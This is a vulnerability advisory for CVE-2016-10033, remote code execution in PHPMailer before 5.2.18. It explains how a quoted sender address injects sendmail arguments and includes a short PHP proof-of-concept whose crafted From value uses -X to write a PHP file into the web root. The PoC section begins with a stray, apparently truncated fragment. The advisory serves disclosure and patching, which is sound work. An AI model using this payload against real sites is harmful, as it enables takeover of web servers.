__ __ __ __ __ / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ /____/ ============================================= - Discovered by: Dawid Golunski - dawid[at]legalhackers.com - https://legalhackers.com - CVE-2016-10033 - Release date: 25.12.2016 - Last revision: 27.12.2016 - Revision 2.0 - Severity: Critical ============================================= I. VULNERABILITY ------------------------- PHPMailer < 5.2.18 Remote Code Execution II. BACKGROUND ------------------------- "PHPMailer continues to be the world's most popular transport class, with an estimated 9 million users worldwide. Downloads continue at a significant pace daily." http://phpmailer.worxware.com/ "Probably the world's most popular code for sending email from PHP! Used by many open-source projects: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! and many more" https://github.com/PHPMailer/PHPMailer III. INTRODUCTION ------------------------- An independent research uncovered a critical vulnerability in PHPMailer that could potentially be used by (unauthenticated) remote attackers to achieve remote arbitrary code execution in the context of the web server user and remotely compromise the target web application. To exploit the vulnerability an attacker could target common website components such as contact/feedback forms, registration forms, password email resets and others that send out emails with the help of a vulnerable version of the PHPMailer class. Note: This revision (2.0) of the advisory, contains more information but is still incomplete. Remaining attack vectors/exploits will be disclosed at a later date to allow more time for patching. IV. DESCRIPTION ------------------------- PHPMailer class uses PHP mail() function as its default transport. The transport is implemented using the function: protected function mailSend($header, $body) { $toArr = array(); foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = implode(', ', $toArr); $params = null; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver if (!empty($this->Sender)) { $params = sprintf('-f%s', $this->Sender); } if ($this->Sender != '' and !ini_get('safe_mode')) { $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $result = false; if ($this->SingleTo and count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); which essentially passes the arguments shown in the line: $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); to the mail() function with the same set of parameters. The parameters include the 5th parameter of $params which allows to pass extra parameters to sendmail binary installed on the system as per PHP documentation of mail() function: http://php.net/manual/en/function.mail.php As can we see from: $params = sprintf('-f%s', $this->Sender); PHPMailer uses the Sender variable to build the params string. The Sender string is normally set with the use of setFrom() method. which validates the Sender's address: public function setFrom($address, $name = '', $auto = true) { $address = trim($address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim // Don't validate now addresses with IDN. Will be done in send(). if (($pos = strrpos($address, '@')) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) { ... The validation would for example reject an address as: attacker -InjectedParam2 @attacker.com which would prevent injection of additional parameters to Sendmail via the mail() function. Further research however shown that the validation is done using the RFC 3696 specification. The RFC allows emails to contain spaces when quoted with ". According to the spec, the following email address is valid: " some test email address with spaces"@weird-email.com The following Sender address: "Attacker -Param2 -Param3"@test.com would cause PHPMailer/mail() function to execute /usr/bin/sendmail with the following list of arguments: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fAttacker -Param2 -Param3@test.com] which would not work for the attacker (Param2 and Param3 are passed within the same argument of argv[3] ) Attackers can however break out of parameter no.3 with some extra escaping. For example, by injecting an extra sequence of \" after the first argument, the following Sender email: "Attacker \" -Param2 -Param3"@test.com when passed to PHPMailer (and eventually to mail()) function would cause sendmail to execute with: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fAttacker\] Arg no. 4 == [-Param2] Arg no. 5 == [-Param3"@test.com] Which as can be seen would inject additional parameters of 4 & 5 to sendmail. Attackers can exploit this to achieve code execution as shown in the PoC below. V. PROOF OF CONCEPT EXPLOIT ------------------------- 09607 <<< 09607 <<< 09607 <<< 09607 <<< --b1_cb4566aa51be9f090d9419163e492306-- See the full advisory URL for details. */ // Attacker's input coming from untrusted source such as $_GET , $_POST etc. // For example from a Contact form $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com'; $msg_body = ""; // ------------------ // mail() param injection via the vulnerability in PHPMailer require_once('class.phpmailer.php'); $mail = new PHPMailer(); // defaults to using php "mail()" $mail->SetFrom($email_from, 'Client Name'); $address = "customer_feedback@company-X.com"; $mail->AddAddress($address, "Some User"); $mail->Subject = "PHPMailer PoC Exploit CVE-2016-10033"; $mail->MsgHTML($msg_body); if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo; } else { echo "Message sent!\n"; } ~~~~~~~~~~~ The researcher also developed an Unauthenticated RCE exploit for a popular open-source application (deployed on the Internet on more than a million servers) as a PoC for real-world exploitation. It might be published after the vendor has fixed the vulnerabilities. Video PoC: ~~~~~~~~~~~~~ https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html VI. BUSINESS IMPACT ------------------------- A successful exploitation could let remote attackers to gain access to the target server in the context of the web server account which could lead to a full compromise of the web application. VII. SYSTEMS AFFECTED ------------------------- All versions of PHPMailer before the critical release of 5.2.18 are affected. Note that exploitation is not limited to systems with Sendmail MTA. VIII. SOLUTION ------------------------- The vulnerability was responsibly disclosed to PHPMailer vendor. The vendor released a critical security release of PHPMailer 5.2.18 to fix the issue as notified at: https://github.com/PHPMailer/PHPMailer/blob/master/changelog.md https://github.com/PHPMailer/PHPMailer/blob/master/SECURITY.md CVE MITRE assigned the following ID to this vulnerability: CVE-2016-10033 Users should urgently update to the patched release. IX. REFERENCES ------------------------- https://legalhackers.com This advisory: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html Video PoC: https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html Exploit code: Simple PoC shown above is available here: https://legalhackers.com/exploits/CVE-2016-10033/PHPMailer-RCE-exploit-poc.txt Other exploits with other attack vectors will be disclosed at a later date to allow more time for patching. CVE-2016-10033 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033 PHPMailer / Vendor security updates / notices: https://github.com/PHPMailer/PHPMailer/blob/master/changelog.md https://github.com/PHPMailer/PHPMailer https://github.com/PHPMailer/PHPMailer/blob/master/SECURITY.md X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com https://legalhackers.com XI. REVISION HISTORY ------------------------- 27.12.2016 - Rev 2.0: Disclosure of additional information + Simple PoC 25.12.2016 - Limited advisory released to prompt an urgent update by affected users before disclosing the details. XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.